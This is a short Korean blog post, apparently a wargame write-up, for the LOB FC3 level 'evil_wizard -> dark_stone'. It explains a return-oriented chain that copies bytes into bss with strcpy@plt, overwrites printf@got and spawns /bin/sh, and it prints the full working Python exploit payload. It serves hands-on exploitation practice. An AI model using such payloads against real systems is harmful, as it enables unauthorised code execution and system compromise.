Profile

머리정리하는곳

c2w2m2

[LOB FC3 - Level5] evil_wizard -> dark_stone


코드를 보면 로컬 -> 원격 으로 바뀐거 밖에 안되지만 왠지 모르게 전문제 익스는 안먹더군요 그래서 printf@got 를 바로 덮는거 보다 bbs를 덮고 printf@got를 bbs로 덮기로 했습니다.



bbs 는 이렇게 구하는데 저기있는 08049868 이 bbs입니다.


나머지 가젯은 알아서 찾으시고 (귀찮) 계획만 바로 세워보면


dummy[268] + strcpy@plt + ppr + bbs[0]   + c0

         + strcpy@plt + ppr + bbs[1] + 07

   . . . .. . .

+ strcpy@plt + ppr + printf@got + bbs

         + printf@plt + ABCD + /bin/sh


정도가 되고 익스는

(python -c 'print "A"*268 + "\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x68\x98\x04\x08"+"\xd9\x84\x04\x08"   +   "\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x69\x98\x04\x08"+"\x7c\x81\x04\x08"  +  "\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6a\x98\x04\x08"+"\xb7\x84\x04\x08"  +  "\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6b\x98\x04\x08"+"\x2c\x98\x04\x08"  +  "\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x68\x98\x04\x08"  +  "\x08\x84\x04\x08" +"ABCD" +"\x03\x36\x83\x00"';cat) 


요로코롬


공격을 하면 쉘이 따지고



FC3 클리어!









는 아직 3번이,,

'Pwnable > LOB' 카테고리의 다른 글

[LOB FC3 - level3] dark_eyes -> hell_fire  (0) 2017.06.27
클리어  (0) 2017.06.27
[LOB FC3 - level4] hell_fire -> evil_wizard  (0) 2017.06.12
[Level13] darknight -> bugbear 다른풀이  (0) 2017.05.19
[Level1] gate -> iron_golem  (0) 2017.05.19